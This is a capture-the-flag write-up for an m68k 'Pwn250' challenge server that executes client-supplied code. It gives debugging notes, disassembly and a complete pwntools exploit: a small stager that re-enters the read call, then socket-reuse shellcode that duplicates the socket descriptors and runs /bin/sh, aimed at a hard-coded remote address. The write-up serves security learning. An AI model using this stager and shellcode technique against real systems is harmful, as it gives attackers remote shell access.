Tags: pwn 

Rating: 5.0

# Pwn250 Writeup

Here we have a m68k linux binary acting as a server.
When you connect to it it read your input and execute the raw data as m68k code.

To actually emulate the binary on x86 you'll need a [custom version of qemu-m68k](https://wiki.debian.org/M68k/sbuildQEMU).
Otherwise you'll be greeted with this:
```
➜ pwn250 qemu-m68k -L /usr/m68k-linux-gnu pwn250.file
qemu: fatal: Illegal instruction: ebc0 @ f67e66ae
D0 = 6ffffef5 A0 = f67fcf58 F0 = 0000000000000000 ( 0)
D1 = 0000010a A1 = 00000000 F1 = 0000000000000000 ( 0)
D2 = 0000000f A2 = 00000000 F2 = 0000000000000000 ( 0)
D3 = 00000000 A3 = 00000000 F3 = 0000000000000000 ( 0)
D4 = 00000000 A4 = f67e1000 F4 = 0000000000000000 ( 0)
D5 = 00000000 A5 = f67fd000 F5 = 0000000000000000 ( 0)
D6 = f6fff100 A6 = f6fff354 F6 = 0000000000000000 ( 0)
D7 = 00000000 A7 = f6fff0fc F7 = 0000000000000000 ( 0)
PC = f67e66ae SR = 0009 -N--C FPRESULT = 0
[1] 27694 abort qemu-m68k -L /usr/m68k-linux-gnu pwn250.file
```
After installing ...
```
➜ pwn250 qemu-m68k-static -L /usr/m68k-linux-gnu pwn250.file
------
➜ pwn250 netstat -lt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address Stat
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN
```
Alright let's get to work ... oh wait nope, gdb decided today is not the day.
```
➜ pwn250 gdb-multiarch ./pwn250.file
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Loaded 105 commands. Type pwndbg [filter] for a list.
Reading symbols from ./pwn250.file...(no debugging symbols found)...done.
pwndbg> set architecture m68k
The target architecture is assumed to be m68k
pwndbg> start
Temporary breakpoint 1 at 0x800008cc
[1] 13997 abort (core dumped) gdb-multiarch ./pwn250.file
```
To debug the application I used the -d in_asm and -strace options in qemu which give me access to the
assembly instructions emulated by qemu and the syscalls made by the application.

Ok so to continue we'll need a bit of context for peoples coming from x86.

[m68k](https://en.wikipedia.org/wiki/Motorola_68000) is a 16/32 bits big-endian architecture (here 32 bit is used), with a quite small [instruction set](http://68k.hax.com/).
Syscalls are made with the "trap #0" instruction, arguments are in d1, d2, d3 and d4, syscall number is in d0.
Function arguments are put on the stack.
pea is push.
jsr is call.

A lot of instrustions have a size attribute which tell them how much data they are going to modify, for example:
```
move.l #$41414141, d0 ; will put 0x41414141 in the register d0.
move #$41414141, d0 ; will only put 0x4141 in d0.
```

With all this information we are ready to start writing the exploit, let's have a quick look at the run_shellcode function.
```
/ (fcn) sym.run_shellcode 152
| sym.run_shellcode ();
| 0x80000830 4e56fff4 link.w a6, -0xc
| 0x80000834 42aefffc clr.l -0x4(a6)
| 0x80000838 42a7 clr.l -(sp)
| 0x8000083a 4878ffff pea 0xffff.w
| 0x8000083e 48780022 pea 0x22.w
| 0x80000842 48780007 pea 0x7.w
| 0x80000846 48781000 pea 0x1000.w
| 0x8000084a 42a7 clr.l -(sp)
| 0x8000084c 4eb980000654 jsr sym.imp.mmap <-------- mmap a RWX mapping for the shellcode
| 0x80000852 4fef0018 lea 0x18(sp), sp
| 0x80000856 2008 move.l a0, d0
| 0x80000858 2d40fffc move.l d0, -0x4(a6)
| 0x8000085c 202efffc move.l -0x4(a6), d0
| 0x80000860 72ff moveq -0x1, d1
| 0x80000862 b280 cmp.l d0, d1
| ,=< 0x80000864 660a bne.b 0x80000870
| | 0x80000866 48780001 pea 0x1.w
| | 0x8000086a 4eb980000640 jsr sym.imp.exit
| `-> 0x80000870 2f2e0008 move.l 0x8(a6), -(sp)
| 0x80000874 487980000a98 pea str.Mopen_implant_ready_on_fd__d:_n
| 0x8000087a 2f2e0008 move.l 0x8(a6), -(sp)
| 0x8000087e 4eb9800005dc jsr sym.imp.dprintf
| 0x80000884 4fef000c lea 0xc(sp), sp
| 0x80000888 202efffc move.l -0x4(a6), d0
| 0x8000088c 4878000e pea 0xe.w ; size
| 0x80000890 2f00 move.l d0, -(sp) ; buf
| 0x80000892 2f2e0008 move.l 0x8(a6), -(sp) ; fd
| 0x80000896 4eb9800005b4 jsr sym.imp.read <-------- retrieve your shellcode
| 0x8000089c 4fef000c lea 0xc(sp), sp
| 0x800008a0 2d40fff8 move.l d0, -0x8(a6)
| 0x800008a4 487980000ab7 pea str.Executing_payload:_n
| 0x800008aa 2f2e0008 move.l 0x8(a6), -(sp)
| 0x800008ae 4eb9800005dc jsr sym.imp.dprintf
| 0x800008b4 508f addq.l 0x8, sp
| 0x800008b6 2d6efffcfff4 move.l -0x4(a6), -0xc(a6)
| 0x800008bc 206efff4 movea.l -0xc(a6), a0
| 0x800008c0 4e90 jsr (a0) <---------------- jump to shellcode
| 0x800008c2 4280 clr.l d0
| 0x800008c4 4e5e unlk a6
\ 0x800008c6 4e75 rts
```
Here we can see the first problem, the read call only reads 14 bytes, we'll need to make a stager.

The solution I used is to jump back in the run_shellcode function right before the call to read and
supply different parameters. Since the frame pointer (a6) was not modified the function
will still work as normal except it will read my whole shellcode.
```python
#!/usr/bin/python

import os
import sys
from pwn import *

if len(sys.argv) == 2 and sys.argv[1] == '-r':
p = remote("165.227.98.55", 1234)
else:
p = remote("127.0.0.1", 1234)

def comp(code):
with open("p.s", 'w') as f:
f.write(code)
os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin")
with open("p.s.bin", "r") as f:
payload = f.read()
return payload

stager = """
pea $200
pea (a0)
jmp ($80000892.l)
"""
p.send(comp(stager))
p.recvuntil("Executing payload:")
```
Here I user [asmx](http://xi6.com/projects/asmx/) to compile my assembly code on the run.

Next is making the actual shellcode, since it's a remote challenge I'll make a socket reuse shellcode.
The plan is to redirect stdin, stdout and stderr to the open socket, and then execute a shell.
```
dup2(4, 0)
dup2(4, 1)
dup2(4, 2)
execve("/bin/sh", NULL, NULL)
```
Since the string "/bin/sh" is not located in the program I'll put it in the stack using the frame pointer
```
;dup2(4, 0)
moveq #63, d0
moveq #4, d1
moveq #0, d2
trap #0
;dup2(4, 1)
moveq #63, d0
moveq #4, d1
moveq #1, d2
trap #0
;dup2(4, 2)
moveq #63, d0
moveq #4, d1
moveq #2, d2
trap #0

;put /bin/sh in memory
move.l #$2f62696e, 0x10(a6)
move.l #$2f736800, 0x14(a6)

;execve("/bin/sh", 0, 0)
moveq #$b, d0
move.l #$0, d3
move.l #$0, d2
move.l #$0, d1
add.l a6, d1
addi.l #$10, d1
trap #0
```

full exploit:
```python
#!/usr/bin/python

import os
import sys
from pwn import *

if len(sys.argv) == 2 and sys.argv[1] == '-r':
p = remote("165.227.98.55", 1234)
else:
p = remote("127.0.0.1", 1234)

def comp(code):
with open("p.s", 'w') as f:
f.write(code)
os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin")
with open("p.s.bin", "r") as f:
payload = f.read()
return payload

stager = """
pea $200
pea (a0)
jmp ($80000892.l)
"""
p.send(comp(stager))
p.recvuntil("Executing payload:")

shellcode = """
;dup2(4, 0)
moveq #63, d0
moveq #4, d1
moveq #0, d2
trap #0
;dup2(4, 1)
moveq #63, d0
moveq #4, d1
moveq #1, d2
trap #0
;dup2(4, 2)
moveq #63, d0
moveq #4, d1
moveq #2, d2
trap #0

;put /bin/sh in memory
move.l #$2f62696e, 0x10(a6)
move.l #$2f736800, 0x14(a6)

;execve("/bin/sh", 0, 0)
moveq #$b, d0
move.l #$0, d3
move.l #$0, d2
move.l #$0, d1
add.l a6, d1
addi.l #$10, d1
trap #0

moveq #1, d0
trap #0
"""
p.send(comp(shellcode))

p.interactive()
```

Original writeup (https://bitbucket.org/Azertinv/writeup/src/14a79cd86c01031476746d16e7ab67c771368b52/hackit_2107/pwn250.md).